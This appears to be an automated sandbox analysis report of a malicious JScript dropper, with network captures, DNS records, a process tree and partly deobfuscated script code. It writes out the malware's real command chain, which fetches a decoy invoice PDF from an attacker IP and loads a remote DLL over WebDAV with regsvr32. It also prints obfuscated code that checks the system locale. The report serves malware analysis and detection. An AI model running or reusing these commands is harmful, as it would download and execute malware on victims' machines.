Jan 11, 2025 07:59:02.527282000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.527306080 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.717967987 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.983685017 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:03.387190104 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:03.391999960 CET	8888	49712	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:03.392081022 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:03.392237902 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:03.397003889 CET	8888	49712	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:04.187838078 CET	8888	49712	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:04.231520891 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:04.474005938 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 08:00:53.679593086 CET	63152	53	192.168.2.6	1.1.1.1
Jan 11, 2025 08:00:53.684531927 CET	53	63152	1.1.1.1	192.168.2.6
Jan 11, 2025 08:00:53.684614897 CET	63152	53	192.168.2.6	1.1.1.1
Jan 11, 2025 08:00:53.684653997 CET	63152	53	192.168.2.6	1.1.1.1
Jan 11, 2025 08:00:53.689444065 CET	53	63152	1.1.1.1	192.168.2.6
Jan 11, 2025 08:00:54.153021097 CET	53	63152	1.1.1.1	192.168.2.6
Jan 11, 2025 08:00:54.155936956 CET	63152	53	192.168.2.6	1.1.1.1
Jan 11, 2025 08:00:54.161405087 CET	53	63152	1.1.1.1	192.168.2.6
Jan 11, 2025 08:00:54.161468983 CET	63152	53	192.168.2.6	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:59:10.677347898 CET	55718	53	192.168.2.6	1.1.1.1
Jan 11, 2025 08:00:53.679183006 CET	53	56148	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 07:59:10.677347898 CET	192.168.2.6	1.1.1.1	0xc308	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 07:59:10.684659004 CET	1.1.1.1	192.168.2.6	0xc308	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:59:11.395227909 CET	1.1.1.1	192.168.2.6	0x2b04	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:59:11.395227909 CET	1.1.1.1	192.168.2.6	0x2b04	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:59:11.395227909 CET	1.1.1.1	192.168.2.6	0x2b04	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:59:11.395227909 CET	1.1.1.1	192.168.2.6	0x2b04	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:59:11.395227909 CET	1.1.1.1	192.168.2.6	0x2b04	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:59:11.395227909 CET	1.1.1.1	192.168.2.6	0x2b04	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:59:11.395227909 CET	1.1.1.1	192.168.2.6	0x2b04	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:59:11.395227909 CET	1.1.1.1	192.168.2.6	0x2b04	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:59:11.395227909 CET	1.1.1.1	192.168.2.6	0x2b04	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:00:16.270147085 CET	1.1.1.1	192.168.2.6	0x5e73	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:00:16.270147085 CET	1.1.1.1	192.168.2.6	0x5e73	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:00:16.270147085 CET	1.1.1.1	192.168.2.6	0x5e73	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:00:16.270147085 CET	1.1.1.1	192.168.2.6	0x5e73	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:00:16.270147085 CET	1.1.1.1	192.168.2.6	0x5e73	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:00:16.270147085 CET	1.1.1.1	192.168.2.6	0x5e73	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:00:16.270147085 CET	1.1.1.1	192.168.2.6	0x5e73	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:00:16.270147085 CET	1.1.1.1	192.168.2.6	0x5e73	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:00:16.270147085 CET	1.1.1.1	192.168.2.6	0x5e73	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:00:28.539551973 CET	1.1.1.1	192.168.2.6	0x84b5	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:00:28.539551973 CET	1.1.1.1	192.168.2.6	0x84b5	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:00:52.680566072 CET	1.1.1.1	192.168.2.6	0x4656	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:00:52.680566072 CET	1.1.1.1	192.168.2.6	0x4656	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	193.143.1.205	80	6704	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:59:00.877181053 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 07:59:01.643493891 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:59:01 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 07:59:01.643523932 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 07:59:01.643538952 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 07:59:01.643553019 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 07:59:01.643579006 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 07:59:01.643594027 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 07:59:01.643609047 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 07:59:01.643625021 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 07:59:01.643642902 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 11, 2025 07:59:01.643656969 CET	1236	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W
Jan 11, 2025 07:59:01.648484945 CET	772	IN	Data Raw: 6e ca 1f 18 fa 31 3c 30 f4 ee b1 8d a1 83 03 43 9b 18 7a 72 6b 62 e8 e1 7e d0 3a 0f c6 1e ee 57 ce 63 e8 d1 e1 ed f1 51 77 6c 68 1b 43 87 c7 86 de 76 c7 86 9a 18 ca b1 a1 5b 31 f5 cd 09 00 00 60 1a 7c b1 04 00 1b e5 ef a8 e5 1d b9 7a d8 ad b0 84 Data Ascii: n1<0Czrkb~:WcQwlhCv[1`\|z3<OhNiB$qi,45WqR=4pa/RrKuk{jv%Z\|GVu;=*VzfN5gM6:?SisUJ[ey\59-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49712	193.143.1.205	8888	5676	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:59:03.392237902 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 07:59:04.187838078 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:59:04 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	01:58:57
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3274215974163975076.js"
Imagebase:	0x7ff6fa1f0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:58:57
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll
Imagebase:	0x7ff6bc510000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:58:58
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:58:58
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:59:02
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	01:59:02
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6bc510000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:59:02
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7230f0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:59:03
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	01:59:03
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	01:59:03
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1548,i,6986894706636841504,16957062876485416370,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function gtyygooly() {	gtyygooly() ➔ undefined
1	svhhwkalb = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var theto = this[hpqrkxdwy + rlohbyywp + glefa + brbkx + jylosvl + icjegri + xkgswqj + kgugcnq] ( this[lszihgp + staez + cepcie + glefa + wplssypu + hpqrkxdwy + kgugcnq][arljev + glefa + jylosvl + rlohbyywp + kgugcnq + jylosvl + sjbdbmqvp + aicgw + wyhdyhz + jylosvl + cepcie + kgugcnq] ( lszihgp + staez + cepcie + glefa + wplssypu + hpqrkxdwy + kgugcnq + wnejpfo + staez + xifkwxh + jylosvl + vxjspgex + vxjspgex ) [ynvpkwkff + jylosvl + aijyfwabh + ynvpkwkff + jylosvl + rlohbyywp + yekvj] ( kxewii + vwctit + cboiiyqd + cswnlb + admvhelgk + arljev + uhevvvma + ynvpkwkff + ynvpkwkff + cboiiyqd + zivnalkqs + ahaffqg + admvhelgk + uhevvvma + staez + cboiiyqd + ynvpkwkff + gaaeeaf + arljev + vzetbvwei + xkgswqj + kgugcnq + glefa + vzetbvwei + vxjspgex + jjjnvjs + zaacdivfq + rlohbyywp + xkgswqj + jylosvl + vxjspgex + gaaeeaf + icjegri + xkgswqj + kgugcnq + jylosvl + glefa + xkgswqj + rlohbyywp + kgugcnq + wplssypu + vzetbvwei + xkgswqj + rlohbyywp + vxjspgex + gaaeeaf + lndflaod + vzetbvwei + cepcie + rlohbyywp + vxjspgex + jylosvl ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( gffrpoap = 0 ; gffrpoap < svhhwkalb[vxjspgex + jylosvl + xkgswqj + aijyfwabh + kgugcnq + xifkwxh] ; ++ gffrpoap )
4	{
5	if ( theto == svhhwkalb[gffrpoap] )
6	{
7	theto = true;
8	break ;
9	}
10	}
11	if ( theto !== true )
12	this[lszihgp + staez + cepcie + glefa + wplssypu + hpqrkxdwy + kgugcnq][hppqqvie + llxgkxl + wplssypu + kgugcnq] ( );
13	this[lszihgp + staez + cepcie + glefa + wplssypu + hpqrkxdwy + kgugcnq][arljev + glefa + jylosvl + rlohbyywp + kgugcnq + jylosvl + sjbdbmqvp + aicgw + wyhdyhz + jylosvl + cepcie + kgugcnq] ( lszihgp + staez + cepcie + glefa + wplssypu + hpqrkxdwy + kgugcnq + wnejpfo + staez + xifkwxh + jylosvl + vxjspgex + vxjspgex ) [glefa + llxgkxl + xkgswqj] ( cepcie + mmvvx + yekvj + jjjnvjs + efbmn + cepcie + jjjnvjs + hpqrkxdwy + vzetbvwei + zplmclcnb + jylosvl + glefa + brbkx + xifkwxh + jylosvl + vxjspgex + vxjspgex + wnejpfo + jylosvl + horytak + jylosvl + jjjnvjs + wkqyit + arljev + vzetbvwei + mmvvx + mmvvx + rlohbyywp + xkgswqj + yekvj + jjjnvjs + vvdqs + icjegri + xkgswqj + eumsgnqe + vzetbvwei + dpgahdlr + jylosvl + wkqyit + lszihgp + jylosvl + aicgw + ynvpkwkff + jylosvl + wmtuqypdw + llxgkxl + jylosvl + brbkx + kgugcnq + jjjnvjs + wkqyit + sjbdbmqvp + llxgkxl + kgugcnq + chcieyc + wplssypu + vxjspgex + jylosvl + jjjnvjs + hudsdup + kgugcnq + jylosvl + mmvvx + hpqrkxdwy + hudsdup + gaaeeaf + wplssypu + xkgswqj + eumsgnqe + vzetbvwei + wplssypu + cepcie + jylosvl + wnejpfo + hpqrkxdwy + yekvj + vihqcbvh + jjjnvjs + xifkwxh + kgugcnq + kgugcnq + hpqrkxdwy + rakptycp + efbmn + efbmn + yvgglyjja + fzvph + zzqouyoj + wnejpfo + yvgglyjja + eugeqvpj + zzqouyoj + wnejpfo + yvgglyjja + wnejpfo + brggmmipw + cgavjrw + iulyanolr + efbmn + wplssypu + xkgswqj + eumsgnqe + vzetbvwei + wplssypu + cepcie + jylosvl + wnejpfo + hpqrkxdwy + xifkwxh + hpqrkxdwy + vvdqs + vcrskpv + vcrskpv + brbkx + kgugcnq + rlohbyywp + glefa + kgugcnq + jjjnvjs + hudsdup + kgugcnq + jylosvl + mmvvx + hpqrkxdwy + hudsdup + gaaeeaf + wplssypu + xkgswqj + eumsgnqe + vzetbvwei + wplssypu + cepcie + jylosvl + wnejpfo + hpqrkxdwy + yekvj + vihqcbvh + vcrskpv + vcrskpv + cepcie + mmvvx + yekvj + jjjnvjs + efbmn + cepcie + jjjnvjs + xkgswqj + jylosvl + kgugcnq + jjjnvjs + llxgkxl + brbkx + jylosvl + jjjnvjs + gaaeeaf + gaaeeaf + yvgglyjja + fzvph + zzqouyoj + wnejpfo + yvgglyjja + eugeqvpj + zzqouyoj + wnejpfo + yvgglyjja + wnejpfo + brggmmipw + cgavjrw + iulyanolr + bgzifn + vpzja + vpzja + vpzja + vpzja + gaaeeaf + yekvj + rlohbyywp + eumsgnqe + zplmclcnb + zplmclcnb + zplmclcnb + glefa + vzetbvwei + vzetbvwei + kgugcnq + gaaeeaf + vcrskpv + vcrskpv + cepcie + mmvvx + yekvj + jjjnvjs + efbmn + cepcie + jjjnvjs + glefa + jylosvl + aijyfwabh + brbkx + eumsgnqe + glefa + zzqouyoj + brggmmipw + jjjnvjs + efbmn + brbkx + jjjnvjs + 